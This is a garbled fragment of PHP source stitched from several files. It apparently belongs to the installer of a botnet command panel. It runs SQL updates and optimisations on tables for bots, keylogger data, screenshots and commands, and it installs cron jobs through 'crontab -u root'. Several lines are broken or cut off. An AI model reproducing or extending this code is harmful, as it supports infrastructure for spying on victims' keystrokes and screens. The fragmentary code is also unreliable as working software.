$sql .= 'update bf_cabs set type = \'kp\' WHERE (type = \'5\');';
$sql .= 'update bf_cabs set type = \'psb\' WHERE (type = \'6\');';
//$sql .= "\n\r";
//$sql .= 'ALTER TABLE `bf_keylog_data` ADD `trash` ENUM( \'0\', \'1\' ) NOT NULL DEFAULT \'0\' AFTER `data` ;';
$sql .= "\n\r";
$sql .= 'OPTIMIZE TABLE `bf_bots`, `bf_bots_ip`, `bf_cabs`, `bf_cabs_parts`, `bf_cmds`, `bf_comments`, `bf_country`, `bf_filters`, `bf_filters_files`, `bf_filters_save`, `bf_filters_unnecessary`, `bf_filter_22`, `bf_filter_ep`, `bf_filter_ft`, `bf_filter_me`, `bf_filter_rd`, `bf_keylog`, `bf_keylog_data`, `bf_links`, `bf_plugins`, `bf_plugin_history`, `bf_process`, `bf_process_stats`, `bf_screens`, `bf_search_result`, `bf_search_task`, `bf_users`;';
$sql .= "\n\r";
//echo $sql;
//$sql = preg_replace('~EXISTS bf_(.*);~i', 'EXISTS bf_$1_new;', $sql);
//$sql = preg_replace('~(TABLE|INTO) bf_(.*) ~iU', '$1 bf_$2_new ', $sql);
if($mysqli->db[0]->multi_query($sql) != true) $INSTALL = true;
//$mysqli->disconnect();
/*
echo '';
print_r($sql);
echo '
';
*/
}
}
?>
'.$lang['pnr'].'"!');
}elseif($ERROR == 2){
print('
');
print('"'.$lang['nsp'].'"!');
}else{
print('"'.$lang['npm'].'"!');
}
?>
---------------------------------------------------------------------------------next file
""
/dev/null' . "\n";
$cron_job .= '1 10,22 * * * cd '.realpath('./crons/').'/; ./cron-12H.php &> /dev/null' . "\n";
$cron_job .= '11 0-23 * * * cd '.realpath('./crons/').'/; ./cron-60m.php &> /dev/null' . "\n";
$cron_job .= '1,31 0-23 * * * cd '.realpath('./crons/').'/; ./cron-30m.php &> /dev/null' . "\n\n";
if(!file_put_contents('cache/cron_job', $cron_job)) $INSTALL = true;
exec('cd '.realpath('./crons/').'/; ./cron-24H.php > /dev/null &');
@exec('crontab -u root ' . realpath('./') . '/cache/cron_job');
$out = exec('crontab -u root -l');
if(strpos($out, 'cron-60m.php') == false) $INSTALL = true;
?>
""!
crontab -u root
------------------------------------------------------------------------------next file
""
""
!